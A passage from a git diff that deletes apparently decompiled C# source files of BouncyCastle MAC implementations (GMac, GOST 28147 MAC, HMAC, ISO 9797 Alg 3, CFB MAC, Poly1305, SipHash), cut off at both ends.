Arrays.Fill(c, 0); - Arrays.Fill(cTemp, 0); - Arrays.Fill(kDelta, 0); - Arrays.Fill(buf, 0); - engine.Reset(); - engine.ProcessBlock(kDelta, 0, kDelta, 0); - bufOff = 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/GMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/GMac.cs deleted file mode 100644 index 89a134c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/GMac.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class GMac : IMac -{ - private readonly GcmBlockCipher cipher; - - private readonly int macSizeBits; - - public string AlgorithmName => cipher.GetUnderlyingCipher().AlgorithmName + "-GMAC"; - - public GMac(GcmBlockCipher cipher) - : this(cipher, 128) - { - } - - public GMac(GcmBlockCipher cipher, int macSizeBits) - { - this.cipher = cipher; - this.macSizeBits = macSizeBits; - } - - public void Init(ICipherParameters parameters) - { - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - KeyParameter key = (KeyParameter)parametersWithIV.Parameters; - cipher.Init(forEncryption: true, new AeadParameters(key, macSizeBits, iV)); - return; - } - throw new ArgumentException("GMAC requires ParametersWithIV"); - } - - public int GetMacSize() - { - return macSizeBits / 8; - } - - public void Update(byte input) - { - cipher.ProcessAadByte(input); - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - cipher.ProcessAadBytes(input, inOff, len); - } - - public int DoFinal(byte[] output, int outOff) - { - try - { - return cipher.DoFinal(output, outOff); - } - catch (InvalidCipherTextException ex) - { - throw new InvalidOperationException(ex.ToString()); - } - } - - public void Reset() - { - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Gost28147Mac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Gost28147Mac.cs deleted file mode 100644 index 089decf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Gost28147Mac.cs +++ /dev/null @@ -1,250 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class Gost28147Mac : IMac -{ - private const int blockSize = 8; - - private const int macSize = 4; - - private int bufOff; - - private byte[] buf; - - private byte[] mac; - - private bool firstStep = true; - - private int[] workingKey; - - private byte[] macIV = null; - - private byte[] S = new byte[128] - { - 9, 6, 3, 2, 8, 11, 1, 7, 10, 4, - 14, 15, 12, 0, 13, 5, 3, 7, 14, 9, - 8, 10, 15, 0, 5, 2, 6, 12, 11, 4, - 13, 1, 14, 4, 6, 2, 11, 3, 13, 8, - 12, 15, 5, 10, 0, 7, 1, 9, 14, 7, - 10, 12, 13, 1, 3, 9, 0, 2, 11, 4, - 15, 8, 5, 6, 11, 5, 1, 9, 8, 13, - 15, 0, 14, 4, 2, 3, 12, 7, 10, 6, - 3, 10, 13, 12, 1, 2, 0, 11, 7, 5, - 9, 4, 8, 15, 14, 6, 1, 13, 2, 9, - 7, 10, 6, 0, 8, 12, 4, 5, 15, 3, - 11, 14, 11, 10, 15, 5, 0, 12, 14, 8, - 6, 2, 3, 9, 1, 7, 13, 4 - }; - - public string AlgorithmName => "Gost28147Mac"; - - public Gost28147Mac() - { - mac = new byte[8]; - buf = new byte[8]; - bufOff = 0; - } - - private static int[] GenerateWorkingKey(byte[] userKey) - { - if (userKey.Length != 32) - { - throw new ArgumentException("Key length invalid. Key needs to be 32 byte - 256 bit!!!"); - } - int[] array = new int[8]; - for (int i = 0; i != 8; i++) - { - array[i] = bytesToint(userKey, i * 4); - } - return array; - } - - public void Init(ICipherParameters parameters) - { - Reset(); - buf = new byte[8]; - macIV = null; - if (parameters is ParametersWithSBox) - { - ParametersWithSBox parametersWithSBox = (ParametersWithSBox)parameters; - parametersWithSBox.GetSBox().CopyTo(S, 0); - if (parametersWithSBox.Parameters != null) - { - workingKey = GenerateWorkingKey(((KeyParameter)parametersWithSBox.Parameters).GetKey()); - } - return; - } - if (parameters is KeyParameter) - { - workingKey = GenerateWorkingKey(((KeyParameter)parameters).GetKey()); - return; - } - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - workingKey = GenerateWorkingKey(((KeyParameter)parametersWithIV.Parameters).GetKey()); - Array.Copy(parametersWithIV.GetIV(), 0, mac, 0, mac.Length); - macIV = parametersWithIV.GetIV(); - return; - } - throw new ArgumentException("invalid parameter passed to Gost28147 init - " + Platform.GetTypeName(parameters)); - } - - public int GetMacSize() - { - return 4; - } - - private int gost28147_mainStep(int n1, int key) - { - int num = key + n1; - int num2 = S[num & 0xF]; - num2 += S[16 + ((num >> 4) & 0xF)] << 4; - num2 += S[32 + ((num >> 8) & 0xF)] << 8; - num2 += S[48 + ((num >> 12) & 0xF)] << 12; - num2 += S[64 + ((num >> 16) & 0xF)] << 16; - num2 += S[80 + ((num >> 20) & 0xF)] << 20; - num2 += S[96 + ((num >> 24) & 0xF)] << 24; - num2 += S[112 + ((num >> 28) & 0xF)] << 28; - int num3 = num2 << 11; - int num4 = num2 >>> 21; - return num3 | num4; - } - - private void gost28147MacFunc(int[] workingKey, byte[] input, int inOff, byte[] output, int outOff) - { - int num = bytesToint(input, inOff); - int num2 = bytesToint(input, inOff + 4); - for (int i = 0; i < 2; i++) - { - for (int j = 0; j < 8; j++) - { - int num3 = num; - num = num2 ^ gost28147_mainStep(num, workingKey[j]); - num2 = num3; - } - } - intTobytes(num, output, outOff); - intTobytes(num2, output, outOff + 4); - } - - private static int bytesToint(byte[] input, int inOff) - { - return (int)((input[inOff + 3] << 24) & 0xFF000000u) + ((input[inOff + 2] << 16) & 0xFF0000) + ((input[inOff + 1] << 8) & 0xFF00) + (input[inOff] & 0xFF); - } - - private static void intTobytes(int num, byte[] output, int outOff) - { - output[outOff + 3] = (byte)(num >> 24); - output[outOff + 2] = (byte)(num >> 16); - output[outOff + 1] = (byte)(num >> 8); - output[outOff] = (byte)num; - } - - private static byte[] CM5func(byte[] buf, int bufOff, byte[] mac) - { - byte[] array = new byte[buf.Length - bufOff]; - Array.Copy(buf, bufOff, array, 0, mac.Length); - for (int i = 0; i != mac.Length; i++) - { - array[i] ^= mac[i]; - } - return array; - } - - public void Update(byte input) - { - if (bufOff == buf.Length) - { - byte[] array = new byte[buf.Length]; - Array.Copy(buf, 0, array, 0, mac.Length); - if (firstStep) - { - firstStep = false; - if (macIV != null) - { - array = CM5func(buf, 0, macIV); - } - } - else - { - array = CM5func(buf, 0, mac); - } - gost28147MacFunc(workingKey, array, 0, mac, 0); - bufOff = 0; - } - buf[bufOff++] = input; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int num = 8 - bufOff; - if (len > num) - { - Array.Copy(input, inOff, buf, bufOff, num); - byte[] array = new byte[buf.Length]; - Array.Copy(buf, 0, array, 0, mac.Length); - if (firstStep) - { - firstStep = false; - if (macIV != null) - { - array = CM5func(buf, 0, macIV); - } - } - else - { - array = CM5func(buf, 0, mac); - } - gost28147MacFunc(workingKey, array, 0, mac, 0); - bufOff = 0; - len -= num; - inOff += num; - while (len > 8) - { - array = CM5func(input, inOff, mac); - gost28147MacFunc(workingKey, array, 0, mac, 0); - len -= 8; - inOff += 8; - } - } - Array.Copy(input, inOff, buf, bufOff, len); - bufOff += len; - } - - public int DoFinal(byte[] output, int outOff) - { - while (bufOff < 8) - { - buf[bufOff++] = 0; - } - byte[] array = new byte[buf.Length]; - Array.Copy(buf, 0, array, 0, mac.Length); - if (firstStep) - { - firstStep = false; - } - else - { - array = CM5func(buf, 0, mac); - } - gost28147MacFunc(workingKey, array, 0, mac, 0); - Array.Copy(mac, mac.Length / 2 - 4, output, outOff, 4); - Reset(); - return 4; - } - - public void Reset() - { - Array.Clear(buf, 0, buf.Length); - bufOff = 0; - firstStep = true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/HMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/HMac.cs deleted file mode 100644 index 7ec017e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/HMac.cs +++ /dev/null @@ -1,131 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class HMac : IMac -{ - private const byte IPAD = 54; - - private const byte OPAD = 92; - - private readonly IDigest digest; - - private readonly int digestSize; - - private readonly int blockLength; - - private IMemoable ipadState; - - private IMemoable opadState; - - private readonly byte[] inputPad; - - private readonly byte[] outputBuf; - - public virtual string AlgorithmName => digest.AlgorithmName + "/HMAC"; - - public HMac(IDigest digest) - { - this.digest = digest; - digestSize = digest.GetDigestSize(); - blockLength = digest.GetByteLength(); - inputPad = new byte[blockLength]; - outputBuf = new byte[blockLength + digestSize]; - } - - public virtual IDigest GetUnderlyingDigest() - { - return digest; - } - - public virtual void Init(ICipherParameters parameters) - { - digest.Reset(); - byte[] key = ((KeyParameter)parameters).GetKey(); - int num = key.Length; - if (num > blockLength) - { - digest.BlockUpdate(key, 0, num); - digest.DoFinal(inputPad, 0); - num = digestSize; - } - else - { - Array.Copy(key, 0, inputPad, 0, num); - } - Array.Clear(inputPad, num, blockLength - num); - Array.Copy(inputPad, 0, outputBuf, 0, blockLength); - XorPad(inputPad, blockLength, 54); - XorPad(outputBuf, blockLength, 92); - if (digest is IMemoable) - { - opadState = ((IMemoable)digest).Copy(); - ((IDigest)opadState).BlockUpdate(outputBuf, 0, blockLength); - } - digest.BlockUpdate(inputPad, 0, inputPad.Length); - if (digest is IMemoable) - { - ipadState = ((IMemoable)digest).Copy(); - } - } - - public virtual int GetMacSize() - { - return digestSize; - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - digest.BlockUpdate(input, inOff, len); - } - - public virtual int DoFinal(byte[] output, int outOff) - { - digest.DoFinal(outputBuf, blockLength); - if (opadState != null) - { - ((IMemoable)digest).Reset(opadState); - digest.BlockUpdate(outputBuf, blockLength, digest.GetDigestSize()); - } - else - { - digest.BlockUpdate(outputBuf, 0, outputBuf.Length); - } - int result = digest.DoFinal(output, outOff); - Array.Clear(outputBuf, blockLength, digestSize); - if (ipadState != null) - { - ((IMemoable)digest).Reset(ipadState); - } - else - { - digest.BlockUpdate(inputPad, 0, inputPad.Length); - } - return result; - } - - public virtual void Reset() - { - digest.Reset(); - digest.BlockUpdate(inputPad, 0, inputPad.Length); - } - - private static void XorPad(byte[] pad, int len, byte n) - { - for (int i = 0; i < len; i++) - { - byte[] array2; - byte[] array = (array2 = pad); - int num = i; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ n); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/ISO9797Alg3Mac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/ISO9797Alg3Mac.cs deleted file mode 100644 index 801fb91..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/ISO9797Alg3Mac.cs +++ /dev/null @@ -1,176 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class ISO9797Alg3Mac : IMac -{ - private byte[] mac; - - private byte[] buf; - - private int bufOff; - - private IBlockCipher cipher; - - private IBlockCipherPadding padding; - - private int macSize; - - private KeyParameter lastKey2; - - private KeyParameter lastKey3; - - public string AlgorithmName => "ISO9797Alg3"; - - public ISO9797Alg3Mac(IBlockCipher cipher) - : this(cipher, cipher.GetBlockSize() * 8, null) - { - } - - public ISO9797Alg3Mac(IBlockCipher cipher, IBlockCipherPadding padding) - : this(cipher, cipher.GetBlockSize() * 8, padding) - { - } - - public ISO9797Alg3Mac(IBlockCipher cipher, int macSizeInBits) - : this(cipher, macSizeInBits, null) - { - } - - public ISO9797Alg3Mac(IBlockCipher cipher, int macSizeInBits, IBlockCipherPadding padding) - { - if (macSizeInBits % 8 != 0) - { - throw new ArgumentException("MAC size must be multiple of 8"); - } - if (!(cipher is DesEngine)) - { - throw new ArgumentException("cipher must be instance of DesEngine"); - } - this.cipher = new CbcBlockCipher(cipher); - this.padding = padding; - macSize = macSizeInBits / 8; - mac = new byte[cipher.GetBlockSize()]; - buf = new byte[cipher.GetBlockSize()]; - bufOff = 0; - } - - public void Init(ICipherParameters parameters) - { - Reset(); - if (!(parameters is KeyParameter) && !(parameters is ParametersWithIV)) - { - throw new ArgumentException("parameters must be an instance of KeyParameter or ParametersWithIV"); - } - KeyParameter keyParameter = ((!(parameters is KeyParameter)) ? ((KeyParameter)((ParametersWithIV)parameters).Parameters) : ((KeyParameter)parameters)); - byte[] key = keyParameter.GetKey(); - KeyParameter parameters2; - if (key.Length == 16) - { - parameters2 = new KeyParameter(key, 0, 8); - lastKey2 = new KeyParameter(key, 8, 8); - lastKey3 = parameters2; - } - else - { - if (key.Length != 24) - { - throw new ArgumentException("Key must be either 112 or 168 bit long"); - } - parameters2 = new KeyParameter(key, 0, 8); - lastKey2 = new KeyParameter(key, 8, 8); - lastKey3 = new KeyParameter(key, 16, 8); - } - if (parameters is ParametersWithIV) - { - cipher.Init(forEncryption: true, new ParametersWithIV(parameters2, ((ParametersWithIV)parameters).GetIV())); - } - else - { - cipher.Init(forEncryption: true, parameters2); - } - } - - public int GetMacSize() - { - return macSize; - } - - public void Update(byte input) - { - if (bufOff == buf.Length) - { - cipher.ProcessBlock(buf, 0, mac, 0); - bufOff = 0; - } - buf[bufOff++] = input; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int blockSize = cipher.GetBlockSize(); - int num = 0; - int num2 = blockSize - bufOff; - if (len > num2) - { - Array.Copy(input, inOff, buf, bufOff, num2); - num += cipher.ProcessBlock(buf, 0, mac, 0); - bufOff = 0; - len -= num2; - inOff += num2; - while (len > blockSize) - { - num += cipher.ProcessBlock(input, inOff, mac, 0); - len -= blockSize; - inOff += blockSize; - } - } - Array.Copy(input, inOff, buf, bufOff, len); - bufOff += len; - } - - public int DoFinal(byte[] output, int outOff) - { - int blockSize = cipher.GetBlockSize(); - if (padding == null) - { - while (bufOff < blockSize) - { - buf[bufOff++] = 0; - } - } - else - { - if (bufOff == blockSize) - { - cipher.ProcessBlock(buf, 0, mac, 0); - bufOff = 0; - } - padding.AddPadding(buf, bufOff); - } - cipher.ProcessBlock(buf, 0, mac, 0); - DesEngine desEngine = new DesEngine(); - desEngine.Init(forEncryption: false, lastKey2); - desEngine.ProcessBlock(mac, 0, mac, 0); - desEngine.Init(forEncryption: true, lastKey3); - desEngine.ProcessBlock(mac, 0, mac, 0); - Array.Copy(mac, 0, output, outOff, macSize); - Reset(); - return macSize; - } - - public void Reset() - { - Array.Clear(buf, 0, buf.Length); - bufOff = 0; - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/MacCFBBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/MacCFBBlockCipher.cs deleted file mode 100644 index c1c7803..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/MacCFBBlockCipher.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Macs; - -internal class MacCFBBlockCipher : IBlockCipher -{ - private byte[] IV; - - private byte[] cfbV; - - private byte[] cfbOutV; - - private readonly int blockSize; - - private readonly IBlockCipher cipher; - - public string AlgorithmName => cipher.AlgorithmName + "/CFB" + blockSize * 8; - - public bool IsPartialBlockOkay => true; - - public MacCFBBlockCipher(IBlockCipher cipher, int bitBlockSize) - { - this.cipher = cipher; - blockSize = bitBlockSize / 8; - IV = new byte[cipher.GetBlockSize()]; - cfbV = new byte[cipher.GetBlockSize()]; - cfbOutV = new byte[cipher.GetBlockSize()]; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length < IV.Length) - { - Array.Copy(iV, 0, IV, IV.Length - iV.Length, iV.Length); - } - else - { - Array.Copy(iV, 0, IV, 0, IV.Length); - } - parameters = parametersWithIV.Parameters; - } - Reset(); - cipher.Init(forEncryption: true, parameters); - } - - public int GetBlockSize() - { - return blockSize; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > outBytes.Length) - { - throw new DataLengthException("output buffer too short"); - } - cipher.ProcessBlock(cfbV, 0, cfbOutV, 0); - for (int i = 0; i < blockSize; i++) - { - outBytes[outOff + i] = (byte)(cfbOutV[i] ^ input[inOff + i]); - } - Array.Copy(cfbV, blockSize, cfbV, 0, cfbV.Length - blockSize); - Array.Copy(outBytes, outOff, cfbV, cfbV.Length - blockSize, blockSize); - return blockSize; - } - - public void Reset() - { - IV.CopyTo(cfbV, 0); - cipher.Reset(); - } - - public void GetMacBlock(byte[] mac) - { - cipher.ProcessBlock(cfbV, 0, mac, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Poly1305.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Poly1305.cs deleted file mode 100644 index d04e2f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Poly1305.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class Poly1305 : IMac -{ - private const int BlockSize = 16; - - private readonly IBlockCipher cipher; - - private readonly byte[] singleByte = new byte[1]; - - private uint r0; - - private uint r1; - - private uint r2; - - private uint r3; - - private uint r4; - - private uint s1; - - private uint s2; - - private uint s3; - - private uint s4; - - private uint k0; - - private uint k1; - - private uint k2; - - private uint k3; - - private byte[] currentBlock = new byte[16]; - - private int currentBlockOffset = 0; - - private uint h0; - - private uint h1; - - private uint h2; - - private uint h3; - - private uint h4; - - public string AlgorithmName - { - get - { - if (cipher != null) - { - return "Poly1305-" + cipher.AlgorithmName; - } - return "Poly1305"; - } - } - - public Poly1305() - { - cipher = null; - } - - public Poly1305(IBlockCipher cipher) - { - if (cipher.GetBlockSize() != 16) - { - throw new ArgumentException("Poly1305 requires a 128 bit block cipher."); - } - this.cipher = cipher; - } - - public void Init(ICipherParameters parameters) - { - byte[] nonce = null; - if (cipher != null) - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("Poly1305 requires an IV when used with a block cipher.", "parameters"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - nonce = parametersWithIV.GetIV(); - parameters = parametersWithIV.Parameters; - } - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Poly1305 requires a key."); - } - KeyParameter keyParameter = (KeyParameter)parameters; - SetKey(keyParameter.GetKey(), nonce); - Reset(); - } - - private void SetKey(byte[] key, byte[] nonce) - { - if (key.Length != 32) - { - throw new ArgumentException("Poly1305 key must be 256 bits."); - } - if (cipher != null && (nonce == null || nonce.Length != 16)) - { - throw new ArgumentException("Poly1305 requires a 128 bit IV."); - } - uint num = Pack.LE_To_UInt32(key, 0); - uint num2 = Pack.LE_To_UInt32(key, 4); - uint num3 = Pack.LE_To_UInt32(key, 8); - uint num4 = Pack.LE_To_UInt32(key, 12); - r0 = num & 0x3FFFFFF; - r1 = ((num >> 26) | (num2 << 6)) & 0x3FFFF03; - r2 = ((num2 >> 20) | (num3 << 12)) & 0x3FFC0FF; - r3 = ((num3 >> 14) | (num4 << 18)) & 0x3F03FFF; - r4 = (num4 >> 8) & 0xFFFFF; - s1 = r1 * 5; - s2 = r2 * 5; - s3 = r3 * 5; - s4 = r4 * 5; - byte[] array; - int num5; - if (cipher == null) - { - array = key; - num5 = 16; - } - else - { - array = new byte[16]; - num5 = 0; - cipher.Init(forEncryption: true, new KeyParameter(key, 16, 16)); - cipher.ProcessBlock(nonce, 0, array, 0); - } - k0 = Pack.LE_To_UInt32(array, num5); - k1 = Pack.LE_To_UInt32(array, num5 + 4); - k2 = Pack.LE_To_UInt32(array, num5 + 8); - k3 = Pack.LE_To_UInt32(array, num5 + 12); - } - - public int GetMacSize() - { - return 16; - } - - public void Update(byte input) - { - singleByte[0] = input; - BlockUpdate(singleByte, 0, 1); - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - int num = 0; - while (len > num) - { - if (currentBlockOffset == 16) - { - ProcessBlock(); - currentBlockOffset = 0; - } - int num2 = System.Math.Min(len - num, 16 - currentBlockOffset); - Array.Copy(input, num + inOff, currentBlock, currentBlockOffset, num2); - num += num2; - currentBlockOffset += num2; - } - } - - private void ProcessBlock() - { - if (currentBlockOffset < 16) - { - currentBlock[currentBlockOffset] = 1; - for (int i = currentBlockOffset + 1; i < 16; i++) - { - currentBlock[i] = 0; - } - } - ulong num = Pack.LE_To_UInt32(currentBlock, 0); - ulong num2 = Pack.LE_To_UInt32(currentBlock, 4); - ulong num3 = Pack.LE_To_UInt32(currentBlock, 8); - ulong num4 = Pack.LE_To_UInt32(currentBlock, 12); - h0 += (uint)(int)(num & 0x3FFFFFF); - h1 += (uint)(int)((((num2 << 32) | num) >> 26) & 0x3FFFFFF); - h2 += (uint)(int)((((num3 << 32) | num2) >> 20) & 0x3FFFFFF); - h3 += (uint)(int)((((num4 << 32) | num3) >> 14) & 0x3FFFFFF); - h4 += (uint)(int)(num4 >> 8); - if (currentBlockOffset == 16) - { - h4 += 16777216u; - } - ulong num5 = mul32x32_64(h0, r0) + mul32x32_64(h1, s4) + mul32x32_64(h2, s3) + mul32x32_64(h3, s2) + mul32x32_64(h4, s1); - ulong num6 = mul32x32_64(h0, r1) + mul32x32_64(h1, r0) + mul32x32_64(h2, s4) + mul32x32_64(h3, s3) + mul32x32_64(h4, s2); - ulong num7 = mul32x32_64(h0, r2) + mul32x32_64(h1, r1) + mul32x32_64(h2, r0) + mul32x32_64(h3, s4) + mul32x32_64(h4, s3); - ulong num8 = mul32x32_64(h0, r3) + mul32x32_64(h1, r2) + mul32x32_64(h2, r1) + mul32x32_64(h3, r0) + mul32x32_64(h4, s4); - ulong num9 = mul32x32_64(h0, r4) + mul32x32_64(h1, r3) + mul32x32_64(h2, r2) + mul32x32_64(h3, r1) + mul32x32_64(h4, r0); - h0 = (uint)((int)num5 & 0x3FFFFFF); - num6 += num5 >> 26; - h1 = (uint)((int)num6 & 0x3FFFFFF); - num7 += num6 >> 26; - h2 = (uint)((int)num7 & 0x3FFFFFF); - num8 += num7 >> 26; - h3 = (uint)((int)num8 & 0x3FFFFFF); - num9 += num8 >> 26; - h4 = (uint)((int)num9 & 0x3FFFFFF); - h0 += (uint)((int)(num9 >> 26) * 5); - h1 += h0 >> 26; - h0 &= 67108863u; - } - - public int DoFinal(byte[] output, int outOff) - { - Check.DataLength(output, outOff, 16, "Output buffer is too short."); - if (currentBlockOffset > 0) - { - ProcessBlock(); - } - h1 += h0 >> 26; - h0 &= 67108863u; - h2 += h1 >> 26; - h1 &= 67108863u; - h3 += h2 >> 26; - h2 &= 67108863u; - h4 += h3 >> 26; - h3 &= 67108863u; - h0 += (h4 >> 26) * 5; - h4 &= 67108863u; - h1 += h0 >> 26; - h0 &= 67108863u; - uint num = h0 + 5; - uint num2 = num >> 26; - num &= 0x3FFFFFF; - uint num3 = h1 + num2; - num2 = num3 >> 26; - num3 &= 0x3FFFFFF; - uint num4 = h2 + num2; - num2 = num4 >> 26; - num4 &= 0x3FFFFFF; - uint num5 = h3 + num2; - num2 = num5 >> 26; - num5 &= 0x3FFFFFF; - uint num6 = h4 + num2 - 67108864; - num2 = (num6 >> 31) - 1; - uint num7 = ~num2; - h0 = (h0 & num7) | (num & num2); - h1 = (h1 & num7) | (num3 & num2); - h2 = (h2 & num7) | (num4 & num2); - h3 = (h3 & num7) | (num5 & num2); - h4 = (h4 & num7) | (num6 & num2); - ulong num8 = (ulong)(h0 | (h1 << 26)) + (ulong)k0; - ulong num9 = (ulong)((h1 >> 6) | (h2 << 20)) + (ulong)k1; - ulong num10 = (ulong)((h2 >> 12) | (h3 << 14)) + (ulong)k2; - ulong num11 = (ulong)((h3 >> 18) | (h4 << 8)) + (ulong)k3; - Pack.UInt32_To_LE((uint)num8, output, outOff); - num9 += num8 >> 32; - Pack.UInt32_To_LE((uint)num9, output, outOff + 4); - num10 += num9 >> 32; - Pack.UInt32_To_LE((uint)num10, output, outOff + 8); - num11 += num10 >> 32; - Pack.UInt32_To_LE((uint)num11, output, outOff + 12); - Reset(); - return 16; - } - - public void Reset() - { - currentBlockOffset = 0; - h0 = (h1 = (h2 = (h3 = (h4 = 0u)))); - } - - private static ulong mul32x32_64(uint i1, uint i2) - { - return (ulong)i1 * (ulong)i2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SipHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SipHash.cs deleted file mode 100644 index d5a2f8f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SipHash.cs +++ /dev/null @@ -1,184 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class SipHash : IMac -{ - protected readonly int c; - - protected readonly int d; - - protected long k0; - - protected long k1; - - protected long v0; - - protected long v1; - - protected long v2; - - protected long v3; - - protected long m = 0L; - - protected int wordPos = 0; - - protected int wordCount = 0; - - public virtual string AlgorithmName => "SipHash-" + c + "-" + d; - - public SipHash() - : this(2, 4) - { - } - - public SipHash(int c, int d) - { - this.c = c; - this.d = d; - } - - public virtual int GetMacSize() - { - return 8; - } - - public virtual void Init(ICipherParameters parameters) - { - if (!(parameters is KeyParameter keyParameter)) - { - throw new ArgumentException("must be an instance of KeyParameter", "parameters"); - } - byte[] key = keyParameter.GetKey(); - if (key.Length != 16) - { - throw new ArgumentException("must be a 128-bit key", "parameters"); - } - k0 = (long)Pack.LE_To_UInt64(key, 0); - k1 = (long)Pack.LE_To_UInt64(key, 8); - Reset(); - } - - public virtual void Update(byte input) - { - m = (m >>> 8) | (long)((ulong)input << 56); - if (++wordPos == 8) - { - ProcessMessageWord(); - wordPos = 0; - } - } - - public virtual void BlockUpdate(byte[] input, int offset, int length) - { - int i = 0; - int num = length & -8; - if (wordPos == 0) - { - for (; i < num; i += 8) - { - m = (long)Pack.LE_To_UInt64(input, offset + i); - ProcessMessageWord(); - } - for (; i < length; i++) - { - m = (m >>> 8) | (long)((ulong)input[offset + i] << 56); - } - wordPos = length - num; - return; - } - int num2 = wordPos << 3; - for (; i < num; i += 8) - { - ulong num3 = Pack.LE_To_UInt64(input, offset + i); - m = (long)(num3 << num2) | (m >>> -num2); - ProcessMessageWord(); - m = (long)num3; - } - for (; i < length; i++) - { - m = (m >>> 8) | (long)((ulong)input[offset + i] << 56); - if (++wordPos == 8) - { - ProcessMessageWord(); - wordPos = 0; - } - } - } - - public virtual long DoFinal() - { - m >>>= 7 - wordPos << 3; - m >>>= 8; - m |= (long)((wordCount << 3) + wordPos) << 56; - ProcessMessageWord(); - v2 ^= 255L; - ApplySipRounds(d); - long result = v0 ^ v1 ^ v2 ^ v3; - Reset(); - return result; - } - - public virtual int DoFinal(byte[] output, int outOff) - { - long n = DoFinal(); - Pack.UInt64_To_LE((ulong)n, output, outOff); - return 8; - } - - public virtual void Reset() - { - v0 = k0 ^ 0x736F6D6570736575L; - v1 = k1 ^ 0x646F72616E646F6DL; - v2 = k0 ^ 0x6C7967656E657261L; - v3 = k1 ^ 0x7465646279746573L; - m = 0L; - wordPos = 0; - wordCount = 0; - } - - protected virtual void ProcessMessageWord() - { - wordCount++; - v3 ^= m; - ApplySipRounds(c); - v0 ^= m; - } - - protected virtual void ApplySipRounds(int n) - { - long num = v0; - long num2 = v1; - long num3 = v2; - long num4 = v3; - for (int i = 0; i < n; i++) - { - num += num2; - num3 += num4; - num2 = RotateLeft(num2, 13); - num4 = RotateLeft(num4, 16); - num2 ^= num; - num4 ^= num3; - num = RotateLeft(num, 32); - num3 += num2; - num += num4; - num2 = RotateLeft(num2, 17); - num4 = RotateLeft(num4, 21); - num2 ^= num3; - num4 ^= num; - num3 = RotateLeft(num3, 32); - } - v0 = num; - v1 = num2; - v2 = num3; - v3 = num4; - } - - protected static long RotateLeft(long x, int n) - { - return (x << n) | (x >>> -n); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SkeinMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/SkeinMac.cs deleted file 